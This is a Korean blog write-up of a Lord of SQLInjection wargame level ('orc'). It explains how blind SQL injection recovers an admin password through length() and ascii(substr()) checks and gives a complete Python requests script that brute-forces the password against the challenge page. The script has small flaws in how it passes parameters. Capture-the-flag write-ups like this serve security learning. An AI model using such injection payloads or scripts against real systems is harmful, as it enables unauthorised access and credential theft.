코드를 보자
이번에는 비밀번호(pw) 부분만 수정이 가능하다.
그래서 모두가 한번쯤 생각해봤을법한 ' or 1=1 -- ''를 대입해보았다.
이번에는 admin으로 로그인은 되었지만 문제가 풀리지는 않았다.
이유를 알아보니 입력한 값이 사용자(admin)의 비밀번호와 같은지 검증하는 절차를 거친 뒤 일치해야만 문제를 해결했다고 인정해주기 떄문이었다.
그래서 나는 비밀번호를 알아야만 했고, 경우의 수를 최대한 줄이기 위해 글자수를 먼저 구하고 비밀번호를 무차별 대입 공격을 통해 얻어내야 겠다고 생각했다.
글자수는 SQL 문법에 존재하는 length를 사용하면 되므로 length(pw)=길이 형식으로 대입하여 만약 성공한다면 Hello admin이 출력될 것이다.
글자수를 구했다면 비밀번호를 구해야했는데, ascii 함수와 substr 함수를 사용하여 찾을 수 있었다.
ascii(substr(pw, 1, 1))=첫번째 비밀번호의 형태로 입력한다면 맞을 경우 Hello admin이 출력될 것이다.
Hello admin의 출력여부로 동작을 판단해야한다.
하지만... 간단하더라도 이를 일일히 하고 있으면 하루종일 해야할것 같다고 판단하여 python requests 모듈을 이용하여 코드를 작성하였다.
코드는 여기에...
내가 문제 풀이에 사용했던 파이썬 코드이다.
Sess 변수는 세션을 사용하기 위한 변수이므로 사용자마다 다르다.
import requests
URL = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
Sess = {'PHPSESSID': '4d2cc7vu1iqfv7pd2grt3j8v42'}
ConfirmKey = "Hello admin"
Dict = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
length = 0
password = ""
def sendReq(payload):
params = {'pw': payload}
return requests.get(URL, cookies=Sess, params=payload)
print("[*] Started")
print("[*] Calculating length of password")
while True:
if ConfirmKey in sendReq({'pw': "' or 1=1 and length(pw)=" + str(length) + " -- "}).text:
print("[+] Found length : " + str(length))
break
else:
print("[!] Tried : " + str(length))
length+=1
print("[*] Looking for password")
while True:
for Current in Dict:
if ConfirmKey in sendReq({'pw': "' or id='admin' and ascii(substr(pw," + str(len(password) + 1) + "," + str(len(password) + 1) + "))=" + str(ord(Current)) + " -- "}).text:
password+=Current
print("[+] Found password of state " + str(len(password)) + " : " + str(Current))
print("[" + str(len(password)) + "/" + str(length) + "] Current State : " + password)
if len(password) == length:
break
else:
print("[!] Tried : " + str(Current))
break
print("[*] Job Done!")
위 코드를 실행한 결과, 글자수와 비밀번호를 알아낼 수 있었다.
이 값을 pw로 보내주니 문제가 풀렸다.
Clear~!
'보안공부 > Lord of SQLInjection 풀이' 카테고리의 다른 글
Lord of SQLInjection Goblin 풀이 (0) | 2024.12.11 |
---|---|
Lord of SQLInjection Wolfman 풀이 (0) | 2024.12.11 |
Lord of SQLInjection Darkelf 풀이 (0) | 2024.12.11 |
Lord of SQLInjection Orge 풀이 (0) | 2024.11.08 |
Lord of SQLInjection Troll 풀이 (1) | 2024.11.08 |